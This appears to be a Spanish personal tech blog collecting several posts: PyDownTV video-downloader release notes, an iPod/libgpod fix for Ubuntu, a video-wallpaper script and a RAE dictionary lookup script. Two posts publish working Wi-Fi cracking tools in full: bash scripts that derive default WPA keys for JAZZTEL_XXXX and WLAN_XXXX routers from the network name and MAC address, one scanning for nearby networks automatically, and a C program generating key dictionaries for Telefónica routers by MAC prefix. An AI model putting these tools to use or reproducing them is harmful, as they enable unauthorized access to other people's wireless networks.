Cómo descargar vídeos de Play Cuatro (o nueva versión de PyDownTV)

He publicado una nueva versión de PyDownTV que ahora permite descargar vídeos de Play Cuatro.

Además la nueva versión soporta:

- Soporte para vídeos Comunes de Cuatro (no Play Cuatro)

- Soporte para Extremadura Televisión

- Soporte para EITB

- Soporte para TV Autonómica de Murcia (A la carta)

- Soporte para Giralda TV

- Soporte para Tele Vigo

- Soporte para Intereconomía

- Soporte para Canal Rías Baixas

- Pequeños bugs arreglados

VÍDEO EXPLICACIÓN: DESCARGAR VÍDEOS DE PLAY CUATRO


Enlace | Más Info

Enlace | Página del proyecto en Google Code

Enlace | Código que procesa la descarga desde Play Cuatro

[PyDownTV] Script para descargar vídeos de las webs de TV

NOTA: Nueva versión 3.1 con soporte para La Sexta (también en PyDownTV web)

NUEVO: Versión web de PyDownTV en http://web.pydowntv.com

NOTA: Nueva versión 3.0.1. Corrige el error en la descarga de los vídeos comunes de antena3.com (no Modo Salón) que constan de varias partes.

NOTA: Nueva versión PyDownTV 3.0 con soporte para Play Cuatro.

NOTA: Existe una nueva actualización (2.1 BETA) que soluciona los problemas de descarga de los vídeos en Windows y de control de versiones.

Debido a qué el antiguo script (en bash) para descargar de la web de Antena 3 solo funcionaba en GNU/Linux (y con algún cambio en Mac OS X) y por aquí se presentaba gente que quería utilizarlo en Windows he creado un nuevo pequeño script, pero esta vez en python, para que sea más multiplataforma.

El nuevo script no solo descarga los vídeos de la web de antena 3, si no que también es capaz de descargar de otras webs (para ver tabla completa y actualizada visitar: http://code.google.com/p/pydowntv/wiki/Televisiones_Soportadas).

El proyecto lo he colocado en Google Code y lo podéis encontrar aquí: http://code.google.com/p/pydowntv/

Enlaces:
¿Dónde descargar? http://code.google.com/p/pydowntv/downloads/list
¿Cómo instalar? http://code.google.com/p/pydowntv/wiki/Como_instalar_PyDownTV
¿Cómo utilizar? http://code.google.com/p/pydowntv/wiki/ComoUtilizar_PyDownTV

Como es evidente, el script no lo he probado con todos vídeos de todas las webs soportadas y sería de gran ayuda para encontrar errores, que si se intenta descargar un vídeo y esto no sucede por alguna razón, el error sea reportado en: http://code.google.com/p/pydowntv/issues/list

Scripts para Mac y GNU/Linux generador de claves JAZZTEL_XXXX y WLAN_XXXX

El primero se lanza:

$ generar_claves_jazztel_wlan_xxxx <EDDIS> <BSSID>

El segundo captura el BSSID solo y se lanza:

$ generar_claves_jazztel_wlan_xxxx_sin_bssid <ESSID>

Dejo el código de los dos:

* generar_claves_jazztel_wlan_xxxx:

[code lang="bash"]
#!/bin/bash

## Generador de claves JAZZTEL_XXXX y WLAN_XXXX
## aabilio@gmail.com
## License: http://en.wikipedia.org/wiki/WTFPL

function sumar_error ()
{
echo $1
let ERRNO=$ERRNO+1
}

function comprobar_errores()
{
if [ $ERRNO -gt 0 ]
then
echo
echo "Usage: $0 <ESSID> <BSSID>"
echo " Example: $0 WLAN_XXXX XX:XX:XX:XX:XX:XX"
exit 1
fi
}

function sacar_claves ()
{
#Pasar a mayúsculas el wlan_xxxx y coger solo los "xxxx"
ESSId=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
#Pasar a mayúsculas el XX:XX:XX:XX:XX y quitar los dos puntos ":"
BSSId=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
#Cogemos del BSSId solo los 8 primeros caracteres:
BSSId8=$(echo -n "$BSSId" | cut -c-8)
#Hacemos la suma md5 de bcgbghgg$BSSId8$ESSId$BSSId (20 primeros caracteres):
#Cambiar "md5" por "md5sum" para GNU/Linux
CLAVE=$(echo -n bcgbghgg$BSSId8$ESSId$BSSId | md5 | cut -c-20)
}

function mostrar_claves ()
{
echo "ESSID: "$1
echo "BSSID: "$2
echo "CLAVE: "$3
}

################################ MAIN ##################################
ERRNO=0
#Comprobamos errores de lanzamiento:
# - Argumentos distinto de dos:
if [ $# -ne 2 ]
then
sumar_error "ERROR EN EL NÚMERO DE PARÁMETROS"
fi

compEssid=0
cEssid=$(echo $1 | tr 'a-z' 'A-Z')
cBssid=$(echo $2 | tr 'a-z' 'A-Z')
#Comprobar primer parámetro en escritura y largura:
echo $1 | tr 'a-z' 'A-Z' | grep ^WLAN_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
echo $1 | tr 'a-z' 'A-Z' | grep ^JAZZTEL_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
if [ $compEssid -eq 2 ]; then sumar_error "ESSID INVÁLIDO"; fi

#Comprobar segundo parámetro en escritura y largura:
echo $2 | tr 'a-z' 'A-Z' | grep ^[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]
then
sumar_error "BSSID INVÁLIDO"
fi

comprobar_errores
sacar_claves $1 $2
mostrar_claves $cEssid $cBssid $CLAVE
[/code]

* generar_claves_jazztel_wlan_xxxx_sin_bssid:

[code lang="bash"]
#!/bin/bash

## Generador de claves JAZZTEL_XXXX y WLAN_XXXX
## aabilio@gmail.com
## License: http://en.wikipedia.org/wiki/WTFPL

function sumar_error ()
{
echo $1
let ERRNO=$ERRNO+1
}

function comprobar_errores()
{
if [ $ERRNO -gt 0 ]
then
echo
echo "Usage: $0 <ESSID>"
echo " Example: $0 WLAN_XXXX"
exit 1
fi
}

function sacar_claves ()
{
#Pasar a mayúsculas el wlan_xxxx y coger solo los "xxxx"
ESSId=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
#Pasar a mayúsculas el XX:XX:XX:XX:XX y quitar los dos puntos ":"
BSSId=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
#Cogemos del BSSId solo los 8 primeros caracteres:
BSSId8=$(echo -n "$BSSId" | cut -c-8)
#Hacemos la suma md5 de bcgbghgg$BSSId8$ESSId$BSSId (20 primeros caracteres):
CLAVE=$(echo -n bcgbghgg$BSSId8$ESSId$BSSId | md5 | cut -c-20)
}

function mostrar_claves ()
{
echo "ESSID: "$1
echo "BSSID: "$2
echo "CLAVE: "$3
}

function obtener_bssid ()
{
echo "BUSCANDO BSSID"
essidToUpper=$(echo $1 | tr 'a-z' 'A-Z');
bssidd=$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | grep `echo $essidToUpper`)
if [ $? -ne 0 ]
then
echo "NO SE ENCUENTRA EL BSSID para "$essidToUpper
let ERRNO=$ERRNO+1
comprobar_errores
else
echo "BSSID encontrado"
bssid=$(echo $bssidd | awk '{print $2}')
fi
}

################################ MAIN ##################################
ERRNO=0
#Comprobamos errores de lanzamiento:
# - Argumentos distinto de dos:
if [ $# -ne 1 ]
then
sumar_error "ERROR EN EL NÚMERO DE PARÁMETROS"
fi

compEssid=0
cEssid=$(echo $1 | tr 'a-z' 'A-Z')
#Comprobar primer parámetro en escritura y largura:
echo $1 | tr 'a-z' 'A-Z' | grep ^WLAN_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
echo $1 | tr 'a-z' 'A-Z' | grep ^JAZZTEL_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
if [ $compEssid -eq 2 ]; then sumar_error "ESSID INVÁLIDO"; fi

#Obtenemos el bssid con airport
obtener_bssid $1
cBssid=$(echo $bssid | tr 'a-z' 'A-Z')
#Comprobar segundo parámetro en escritura y largura:
echo $bssid | tr 'a-z' 'A-Z' | grep ^[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]
then
sumar_error "BSSID INVÁLIDO"
fi

comprobar_errores
sacar_claves $1 $bssid
mostrar_claves $cEssid $cBssid $CLAVE
[/code]

DESCARGA:

Enlace | generar_claves_jazztel_wlan_xxxx – Para Mac OS X y GNU/Linux (cambiando “md5″ por “md5sum” en la línea 33 del primer script)

Enlace | generar_claves_jazztel_wlan_xxxx_sin_bssid – Sólo para Mac OS X

Este último capta automáticamente el BSSID de la red que se le pasa como parámetro (ESSID) utilizando el comando para terminal de airport. Por ello es necesario que se este en el radio de acción de la red de la que se desea conocer la clave. Si por el contrario se quiere usar el primero, como segundo parámetro se le tendrá que pasar manualmente la red, que se puede obtener fácilmente con el comando airport -s (que está escondido en la ruta: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/) o utilizando apps de terceros como KisMAC. En GNU/Linux también se puede obtener fácilmente el BSSID de una red con el comando iwconfig con el flag de buscar scan (por ejemplo: $ sudo iwconfig wlan0 scan)

Problemas iPod nano en Ubuntu 10.04

Pues al final, después de unos años con Debian GNU/linux, sin reinstalar ni una sola vez, me he pasado a la nueva versión de Ubuntu 10.04, para cambiar y aprovechar esta “Long Term Support”.  Todo ha ido muy bien hasta ahora, desde que probé Ubuntu por primera vez esta ha madurado mucho. No he tenido problemas con nada, salvo ahora con mi iPod nano 5th generation, con el cual nunca tuve problemas en Debian, pero al conectarlo por primera vez en Ubuntu 10.04 no se montaba.

Por supuesto Rhythmbox ni lo olía tampoco. Echando un vistazo con ‘dmesg’ vi que el SO lo detectaba sin problemas, y que lo podía montar a mano con ‘mount’ y el flag ‘-t vfat’, pero lo que yo quería es que me lo montara solo, e incluso que me preguntara si quería abrirlo con Rhythmbox.

Instalé ‘libgpod’ desde repos para ver si se solucionaba el problema, pero observé que el iPod se montaba de forma temporal en ‘/tmp’ pero nunca llegaba a abrirse de forma correcta con Nautilus por ejemplo, y Rhythmbox seguía a lo suyo…

Dije, bueno voy a quitar ‘libgpod’ y bajar la última versión desde su web y compilarla, pero antes probé otra vez a conectar el iPod y ahora para mi sorpresa si que era detectado (justo cuando había desinstalado libgpod) pero a la hora de abrir el Rhythmbox este se cerraba.

Lo abrí desde terminal y vi que se debía a un fallo en una parte del código de ‘libgpod’, que provocaba que el reproductor se abortara.

Al final para solucionar todo esto, lo que hice fue bajar los sources de libgpod desde aquí: http://sourceforge.net/projects/gtkpod/files/

Descomprimirlos y editar el archivo  ”db-parse-context.c” que se encuentra en el directorio ‘src’.

Lo que hice fue comentar las líneas 90 a 93 ambas inclusive, para los que no sepan, estaban así:

g_assert ((ctx->cur_pos - ctx->buffer) <= len);
if (ctx->header_len != 0) {
g_assert (len >= ctx->header_len);
}

y las he dejado así:

//g_assert ((ctx->cur_pos - ctx->buffer) <= len);
//if (ctx->header_len != 0) {
//g_assert (len >= ctx->header_len);
//}

Ahora ya se puede compilar el programa. Yo lo he hecho de la siguiente forma:

./configure –prefix=/usr/ (son dos guiones, no uno, wordpress lo muestra mal)

make

sudo make install

Puede que el ‘configure’ os muestre algún error de que os falta algún paquete, o que alguna versión de alguno es antigua. A mi concretamente con Ubuntu recién instalado de hace un par de semanas se me ha quejado de la versión de  ’intltool’ y de que no existía el paquete ‘sqlite3′. Como están en repos se soluciona con:

sudo aptitude install intltool libsqlite3-dev

A configure le indico la ruta ‘/usr’ por que por defecto lo instala en ‘/usr/local’ y luego habría que indicarle a Rhythmbox que utilizara ese PATH para cargar libgtkpod… Vamos que mejor instalarlo en ‘/usr’.

Y con todo esto se solucionó el problema, ahora cada vez que conecto el iPod se monta sin problemas en ‘/media/nombreiPod’, se muestra icono en el escritorio, se abre una ventana preguntando qué quiero hacer, y lo más importante, Rhythmbox lo detecta y lo maneja perfectamente ;)

rhythmbox3

Modificando wlandecrypter

Cuelgo en el blog una modificación del pequeño programa “wlandecrypter” que genera un diccionario con las posibles claves de los diferentes routers de Timofónica.
Este comprueba por mac, como el original, si esta existe (está reconocida como una de las mac que utilizan los routers de la compañía) pero a diferencia del antiguo, es que si esta no existe también te da la posibilidad, previo aviso, de poder generar un diccionario con esos valores (más que nada por si se van añadiendo nuevas marcas o nuevas mac, y estas no han sido añadidas ya en la base del programa).
La forma de lanzarlo también cambia. Con la modificación en vez de tener que escribir todo el BSSID y todo el ESSID, solo se ingresarán las partes importantes, es decir, los primeros seis caracteres de la mac y los dos últimos del ESSID.
Ejemplo, si quieres generar un diccionario para la red con las siguientes características:
BSSID : 00:13:49:E8:29:7B
ESSID: WLAN_32
El programa se lanzará:

$ m0dWlandecrypter 001349 32 diccionario

NOTA: No comprobará si los 6 primeros caracteres pertenecientes al bssid son  hexadecimales (ya lo implemento uno de estos días).

Dejo el código en cuestión:

/*****************************************************************************
* Fichero:                      m0dWlandecrypter.c
* Fecha:                        22-09-2009
* Autor:                        aabilio (aabilio[at]gmail[dot]com)
* 
* Es una pequeña modificación del wlandecrypter de Nilp0inteR
* 
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*****************************************************************************/

#include 
#include 
#include 
#include 

#define MAXROUTER 13
#define ULTIMO 12

/* Estructura Router */
typedef struct __Router {
    char bssid[7];
    char init;
    char info[20];
} _Router;

/* Variable global */
char hex[16]="0123456789ABCDEF";

/* Prototipos */
void datosRouters(_Router routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(_Router routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *);
void bucleImprimeClaves(FILE *fichero, char , int bssidId, char *keyEnd, char *);

/* MAIN */
int main(int argc, char *argv[]) {
        
        int i, bssidId, validHex=0;
        char opcion;
        char endKey[2];
        _Router routers[MAXROUTER];
        FILE *fichero;
        
        fprintf(stdout, "\n====================================\n");
        fprintf(stdout, "m0dWlandecrypter - aabilio@gmail.com\n");
        fprintf(stdout, "====================================\n");

        if(argc<3 || argc>4) {
            muestraAyuda();
            return 1;
        }
        
        if(strlen(argv[1]) != 6 ) {
            fprintf(stderr," [-] Longitud de BSSID invalida\n");
            muestraAyuda();
            return 1;
        }
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr," [-] Longitud de ESSID invalida\n");
            muestraAyuda();
            return 1;
        }
                
        datosRouters(routers);
        bssidId=buscaBssid(routers, argv[1]);
       
        fprintf(stderr, " [+] BSSID: %s\n" 
                        " [+] Modelo: %s\n", argv[1], routers[bssidId].info);
        if(bssidId==ULTIMO) {
            strcpy(routers[ULTIMO].bssid, argv[1]);
            routers[ULTIMO].init = 'Z';
            fprintf(stderr, "   |__>> [?] Puede que no genere un buen diccionario\n");
            do {
                fprintf(stderr, "          Continuar de todas formas?? (s/n) : ");
                opcion = getchar(); getchar();
                //scanf("%c", &opcion);
                opcion = toupper(opcion);
                if (opcion == 'N')
                    return 1;
                else if (opcion == 'S')
                    break;
            } while (1);
            
        }
        
        for(i=0;i3) {// Fichero
                    fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                    if ((fichero=fopen(argv[3], "a+")) == NULL) {
                       fprintf(stderr, " [-] Fallo al escribir en el fichero\n");
                       return 1;
                    }
                    
                    imprimeClaves(fichero,routers,bssidId,endKey, argv[1]);
                    fclose(fichero);
                    fprintf(stderr, " [+] Fichero guardado\n");
                } else {
                    fprintf(stderr," [+] Seleccionada salida estandar\n");
                    imprimeClaves(stdout,routers,bssidId,endKey, argv[1]);
                }
            }
        }
        puts("");
        return 0;
}       

/* AYUDA */
void muestraAyuda() {
    fprintf(stderr, "\nuso: aawlandecrypter   [output file]\n"
                    "  |__ : Solo los 6 primeros caracteres del mismo sin contar ':'\n"
                    "  |__ : Solo los XX de WLAN_XX\n"
                    "  |__[output file] : Archivo resultante\n\n"
                    "   Ejemplo: aawlandecrypter 001349 55 diccionario\n\n");
}

/* Imprime claves */
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *bssid) {
    //int i,j,k,l;
    
    if(bssidId==ULTIMO){
        routers[bssidId].init = 'Z';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'X';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'C';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    } else {
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    }
}
/* El bucle que imprime la clave */
void bucleImprimeClaves(FILE *fichero, char init, 
                        int bssidId, char *keyEnd, char *bssid) {
    int i,j,k,l;
    
    for(i=0;i<16;i++)
        for(j=0;j<16;j++)
            for(k=0;k<16;k++)
                for(l=0;l<16;l++) {
                    fprintf(fichero, "%c%s%c%c%c%c%c%c\n"
                            , init, bssid, hex[i],hex[j],hex[k],hex[l], 
                            keyEnd[0],keyEnd[1]);
                }
}

/* Datos de los routers: */
void datosRouters(_Router routers[MAXROUTER]) {
        int i =0;
        // Z-com
        strcpy(routers[i].bssid,"0060B3\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Z-com\0");
        i++;
        // Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
        strcpy(routers[i].bssid,"00A0C5\0"); 
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Zyxel 650HW/660HW\0");
        i++;
        // P-660HW-D1
        strcpy(routers[i].bssid,"001349\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"P-660HW-D1\0");
        i++;
        // Xavvy
        strcpy(routers[i].bssid,"000138\0");
        routers[i].init = 'X';
        strcpy(routers[i].info,"Xavi 7768r\0");
        i++;
        // Comtrend
        strcpy(routers[i].bssid,"0003C9\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 535\0");
        i++;
        // Comtrend NUEVO, gracias a dnreinad por el coche xD
        strcpy(routers[i].bssid,"001638\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001915\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"0030DA\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001A2B\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001D20\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;

        // ZyGate
        strcpy(routers[i].bssid,"0002CF\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        // ZyGate
        strcpy(routers[i].bssid,"0019CB\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        
        strcpy(routers[ULTIMO].bssid,"000000\0");
        routers[ULTIMO].init = 'Z';
        strcpy(routers[ULTIMO].info,"Desconocido\0");
}

int buscaBssid(_Router routers[MAXROUTER], char *bssid) {
    int i;
        
    for(i=0;i

Para compilar en GNU/Linux:

$ gcc -o wlandecryter_mod m0dWlandecrypter.c

Enlace | m0dWlandecrypter.c para descargar

Script VideoFondo.sh: Coloca vídeos de wallpaper gráficamente

Hace unos días navegando por el blog de catrip me encontré con un pequeño scritp diseñado para manejar de forma fácil xwinwrap (programilla para colocar como fundo de escritorio imágenes animadas, vídeos o incluso tu propia webcam).

El script hace uso de Zenity para manejar de forma gráfica y mediante opciones la forma en la que se presentará el fondo de pantalla de tu ordenador.

Ese día no tenía mucho que hacer así que lo retoqué un poco y se lo envíe, a el le pareció correcto colgarlo en su web como una mejora y ahora yo lo cuelgo aquí por si alguno de los pocos visitantes de este blog les sirve para algo :)

EDITADO (01/02/2010): Ahora acepta seleccionar varios vídeos para para poner en cola al reproducir.

[bash]
#!/bin/bash

#########################################################
# #
# VideoFondo.sh #
# #
# Realizado inicialmente por Catrip <alktrip@gmail.com> #
# y retocado por aabilio <aabilio@gmail.com> #
# WTFPL <http://en.wikipedia.org/wiki/WTFPL> #
#########################################################

### OPCIONES ###

PARAM="-fs -sp -ni -nf -st -s -b -o"

dato1="Colocar un o varios vídeos como Wallpaper"
dato2="Colocar Screen Saver como Wallpaper"
dato3="Finalizar la reproducción"
dato4="Colocar webcam como Wallpaper"
dato5="Finalizar el programa"

con_sonido="Colocar vídeo con sonido"
sin_sonido="Colocar vídeo sin sonido"
BACK="Volver"

### FUNCIONES ###

function fun_opacidad {
opacidad=$(zenity –list –width="60" –height="415" –text "Selecciona una opción" –title "Nivel de Opacidad" –column "Opacidad" `for (( c=1; c<=9; c++ )); do echo -n "0.$c "; done` 1)
}

function fun_check {
if pidof xwinwrap > /dev/null ; then
killall xwinwrap
fi
}

function fun_typeson {
typeson=$(zenity –list –width="315" –height="260" –text "Opciones del vídeo" –title "Opciones" –column "Opción" "$con_sonido" "$sin_sonido" "$BACK")
if [ "$typeson" = "$sin_sonido" ]; then
SON=" -nosound"
fi
if [ "$typeson" = "$con_sonido" ]; then
unset SON
fi
if [ "$typeson" = "$BACK" ]; then
main
fi
}

### MAIN ###

function main
{
type=$(zenity –list –width="415" –height="260" –text "Indique la operación a realizar" –title "ScreenSaver, Vídeo o WebCam como Wallpaper" –column "Opción" "$dato1" "$dato2" "$dato4" "$dato3" "$dato5")

if [ "$type" = "$dato1" ]; then
fun_typeson

FILES=`zenity –file-selection \
–title="Selecciona el vídeo a colocar como Wallpaper" –multiple –separator=" "`

fun_opacidad
fun_check

exec xwinwrap $PARAM "$opacidad" — mplayer -quiet -noconsolecontrols -loop 0$SON -wid WID $FILES
fi

if [ "$type" = "$dato2" ]; then
screen=$(ls /usr/lib/xscreensaver/ | zenity –list –width="60" –height="415" –text "Selecciona un ScreenSaver" –title "ScreenSavers" –column "ScreenSaver")
fun_opacidad
fun_check
exec xwinwrap -argb $PARAM "$opacidad" — /usr/lib/xscreensaver/"$screen" -window-id WID
fi

if [ "$type" = "$dato3" ]; then
fun_check
fi

if [ "$type" = "$dato4" ]; then
fun_opacidad
fun_check
exec xwinwrap $PARAM "$opacidad" — mplayer -wid WID -quiet -fps 30 tv:// -vf mirror
fi

if [ "$type" = "$dato5" ]; then
fun_check
exit;
fi

#Incluimos a main en un bucle infinito hasta que el USER cierre
main

}

#Llamamos a que se ejecute la function main:
main
[/bash]

Enlace | Descarga el script (VideoFondo.sh) junto con un xwinwrap compilado para amd64.

Enlace | Descargar un .deb con Xwinwrap para 32 bits.

Enlace | Para todo lo demás (requisitos del script, vídeo de funcionamiento, enlaces…) visitar la web de Catrip.

Diccionario de la RAE en tu terminal GNU/Linux

De vez en cuando se me da por comprar una de esas revistas que hablan de GNU/Linux, sobre todo cuando voy a coger un tren, para entretenerme durante el viaje, y como suelen venir con un CD de las últimas distros que van saliendo pues así de paso las pruebo.

El caso que este fin de semana me compré la “Todo Linux“. Me llamó la atención que en su sección de “Trucos Linux”, el destacado del mes trataba sobre la construcción de un pequeño y simplísimo script para gente nueva en el sistema. El Scritp no lo crearon ellos si no que era una pequeña modificación de un script colgado en TrucoLinux.com y que lo que hacía era mostrar una entrada del diccionario de la RAE en tu terminal.

Como en el artículo comentaban que el script no aceptaba las tildes (ni tampoco las ñ, ni las mayúsculas) pues me dispuse a retocar un poco el mismo para que si aceptara palabras con esos caracteres. Me aburro y lo cuelgo aquí.

El script acepta que le pases la palabra a buscar como parámetro, o se la introduzcas después.

#!/bin/bash 

## Funciones:

function buscar_palabra {
    echo "Se está buscando la palabra \"$aux\" en la RAE, esto"
    echo "puede tardar dependiendo de la velocidad de su conexión"
    echo ''
    #Aquí puedes utilizar lynx o links2 en lugar de links, y si quieres
    #quitarle el "-dump" para visualizar directamente el navegador
    links2 -dump "http://buscon.rae.es/draeI/SrvltGUIBusUsual?LEMA=$palabra&origen=RAE"
    echo ''
}

function adaptar_palabra {
    #Pasar a minúsculas
    palabra=$(echo $palabra | awk '{print tolower($0)}')
    #Para poner la palabra por pantalla
    aux=$palabra
    #Cambiar caracteres especiales
    palabra=$(echo $palabra | sed 's/á/%C3%A1/')
    palabra=$(echo $palabra | sed 's/é/%C3%A9/')
    palabra=$(echo $palabra | sed 's/í/%C3%AD/')
    palabra=$(echo $palabra | sed 's/ó/%C3%B3/')
    palabra=$(echo $palabra | sed 's/ú/%C3%BA/')
    palabra=$(echo $palabra | sed 's/ñ/%C3%B1/')
}

## Parte principal:

if test -z $1
then
	clear
	echo "Diccionario de la RAE"
        echo "Introduce la palabra a buscar:"
	read palabra
	adaptar_palabra
	buscar_palabra
else
	clear
        palabra=$1
	adaptar_palabra
	buscar_palabra
fi

Argordmel propone en los comentarios que sería bueno que el script te diera la oportunidad de volver a buscar una palabra al final. Bien, pues esta podría ser una de las implementaciones ( es solo la parte principal del script):

## Parte principal:
buscar="s"
count="0"
while [ $buscar = 's' ]
do
	if [ $count -eq "0" ]
	then
		if test -z $1
		then
			clear
			echo "Diccionario de la RAE"
		        echo -n "Introduce la palabra a buscar: "
			read palabra
			adaptar_palabra
			buscar_palabra
		else
			clear
		        palabra=$1
			adaptar_palabra
			buscar_palabra
		fi
	else
		echo -n "Otra palabra: "
		read palabra
		adaptar_palabra
		buscar_palabra
	fi

	count=$(($count+1))

	opc=b
	while [ $opc != 'n' ] && [ $opc != 's' ]
	do
		echo -n "¿Buscar otra? [s/n]: "
		read opc
		if [ "$opc" = 'n' ]; then
			exit
		elif [ "$opc" = '' ]; then
			opc='b'
		fi
	done
done

Como bien dice mch en lo comentarios, si modificamos en esta segunda parte principal con el siguiente recorte de código desde la línea 16 (“else”) hasta la 21 (“fi”), podremos pasar como parámetro más de una palabra:

else
	for pal in "$@"; do
		clear
		palabra=$1
		adaptar_palabra
		buscar_palabra
		if [ $# -gt 1 ]; then
			echo "Pulse una tecla para siguiente palabra "
			read -n1
		fi
		shift
	done
fi